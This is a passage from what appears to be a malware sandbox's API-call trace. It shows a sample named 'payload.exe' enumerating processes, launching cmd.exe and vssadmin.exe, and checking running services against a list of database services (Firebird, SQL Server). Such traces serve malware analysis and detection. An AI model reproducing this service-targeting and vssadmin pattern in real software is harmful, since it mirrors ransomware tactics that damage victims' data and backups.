lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0034.969] lstrlenW (lpString="mxslipstream.exe") returned 16 [0034.969] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0034.969] lstrlenW (lpString="omnipos.exe") returned 11 [0034.969] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0034.970] lstrlenW (lpString="spcwin.exe") returned 10 [0034.970] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0034.970] lstrlenW (lpString="spgagentservice.exe") returned 19 [0034.970] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0034.971] lstrlenW (lpString="utg2.exe") returned 8 [0034.971] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0034.971] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0034.971] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0034.972] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0034.972] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0034.972] lstrlenW (lpString="notebook.exe") returned 12 [0034.972] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0034.972] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0034.972] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0034.973] lstrlenW (lpString="current.exe") returned 11 [0034.973] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0034.973] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0034.973] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0034.974] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0034.974] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0034.974] lstrlenW (lpString="taskhost.exe") returned 12 [0034.974] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0034.975] lstrlenW (lpString="dllhost.exe") returned 11 [0034.975] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0034.975] lstrlenW (lpString="dllhost.exe") returned 11 [0034.975] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0034.975] lstrlenW (lpString="payload.exe") returned 11 [0034.975] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0034.976] lstrlenW (lpString="cmd.exe") returned 7 [0034.976] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0034.976] lstrlenW (lpString="conhost.exe") returned 11 [0034.976] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0034.977] lstrlenW (lpString="vssadmin.exe") returned 12 [0034.977] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0034.977] CloseHandle (hObject=0x18c) returned 1 [0034.977] Sleep (dwMilliseconds=0x1f4) [0035.638] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8ffb18 [0035.638] EnumServicesStatusExW (in: hSCManager=0x8ffb18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0035.639] GetLastError () returned 0xea [0035.639] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x395a708 [0035.639] EnumServicesStatusExW (in: hSCManager=0x8ffb18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x395a708, cbBufSize=0x11e4, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x395a708, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0035.639] CloseServiceHandle (hSCObject=0x8ffb18) returned 1 [0035.640] lstrlenW (lpString="Appinfo") returned 7 [0035.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0035.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0035.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0035.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0035.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0035.640] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0035.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0035.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0035.640] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0035.640] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0035.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0035.640] lstrlenW (lpString="AudioSrv") returned 8 [0035.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0035.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0035.640] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0035.640] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0035.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0035.640] lstrlenW (lpString="BFE") returned 3 [0035.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0035.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0035.640] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0035.640] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0035.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0035.640] lstrlenW (lpString="CryptSvc") returned 8 [0035.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0035.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0035.640] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0035.640] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0035.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0035.640] lstrlenW (lpString="CscService") returned 10 [0035.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0035.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0035.640] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0035.640] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0035.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0035.640] lstrlenW (lpString="DcomLaunch") returned 10 [0035.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0035.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0035.640] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0035.640] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0035.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0035.640] lstrlenW (lpString="Dhcp") returned 4 [0035.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0035.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0035.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0035.641] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0035.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0035.641] lstrlenW (lpString="Dnscache") returned 8 [0035.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0035.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0035.641] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0035.641] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0035.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0035.641] lstrlenW (lpString="DPS") returned 3 [0035.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0035.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0035.641] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0035.641] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0035.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0035.641] lstrlenW (lpString="eventlog") returned 8 [0035.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0035.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0035.641] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0035.641] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0035.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0035.641] lstrlenW (lpString="EventSystem") returned 11 [0035.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0035.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0035.641] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0035.641] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0035.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0035.641] lstrlenW (lpString="gpsvc") returned 5 [0035.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0035.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0035.641] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0035.641] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0035.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0035.641] lstrlenW (lpString="iphlpsvc") returned 8 [0035.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0035.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0035.641] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0035.641] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0035.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0035.641] lstrlenW (lpString="LanmanServer") returned 12 [0035.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0035.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0035.641] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0035.641] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0035.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0035.641] lstrlenW (lpString="LanmanWorkstation") returned 17 [0035.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0035.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0035.641] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0035.641] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0035.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0035.641] lstrlenW (lpString="lmhosts") returned 7 [0035.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0035.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0035.642] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0035.642] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0035.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0035.642] lstrlenW (lpString="MMCSS") returned 5 [0035.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0035.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0035.642] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0035.642] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0035.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0035.642] lstrlenW (lpString="MpsSvc") returned 6 [0035.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0035.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0035.642] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0035.642] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0035.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0035.642] lstrlenW (lpString="Netman") returned 6 [0035.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0035.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0035.642] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0035.642] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0035.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0035.642] lstrlenW (lpString="netprofm") returned 8 [0035.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0035.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0035.642] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0035.642] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0035.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0035.642] lstrlenW (lpString="NlaSvc") returned 6 [0035.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0035.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0035.642] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0035.642] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0035.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0035.642] lstrlenW (lpString="nsi") returned 3 [0035.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0035.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0035.642] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0035.642] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0035.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0035.642] lstrlenW (lpString="PcaSvc") returned 6 [0035.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0035.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0035.642] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0035.642] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0035.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0035.642] lstrlenW (lpString="PlugPlay") returned 8 [0035.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0035.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0035.642] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0035.642] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0035.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0035.642] lstrlenW (lpString="Power") returned 5 [0035.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0035.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0035.643] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0035.643] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0035.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0035.643] lstrlenW (lpString="ProfSvc") returned 7 [0035.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0035.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0035.643] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0035.643] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0035.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0035.643] lstrlenW (lpString="RpcEptMapper") returned 12 [0035.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0035.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0035.643] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0035.643] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0035.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0035.643] lstrlenW (lpString="RpcSs") returned 5 [0035.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0035.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0035.643] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0035.643] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0035.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0035.643] lstrlenW (lpString="SamSs") returned 5 [0035.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0035.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0035.643] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0035.643] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0035.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0035.643] lstrlenW (lpString="Schedule") returned 8 [0035.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0035.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0035.643] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0035.643] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0035.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0035.643] lstrlenW (lpString="SENS") returned 4 [0035.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0035.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0035.643] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0035.643] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0035.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0035.643] lstrlenW (lpString="ShellHWDetection") returned 16 [0035.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0035.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0035.643] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0035.643] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0035.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0035.643] lstrlenW (lpString="Spooler") returned 7 [0035.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0035.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0035.643] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0035.643] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0035.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0035.643] lstrlenW (lpString="SysMain") returned 7 [0035.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0035.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0035.644] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0035.644] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0035.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0035.644] lstrlenW (lpString="Themes") returned 6 [0035.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0035.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0035.644] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0035.644] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0035.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0035.644] lstrlenW (lpString="TrkWks") returned 6 [0035.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0035.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0035.644] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0035.644] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0035.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0035.644] lstrlenW (lpString="UxSms") returned 5 [0035.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0035.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0035.644] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0035.644] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0035.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0035.644] lstrlenW (lpString="WdiServiceHost") returned 14 [0035.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 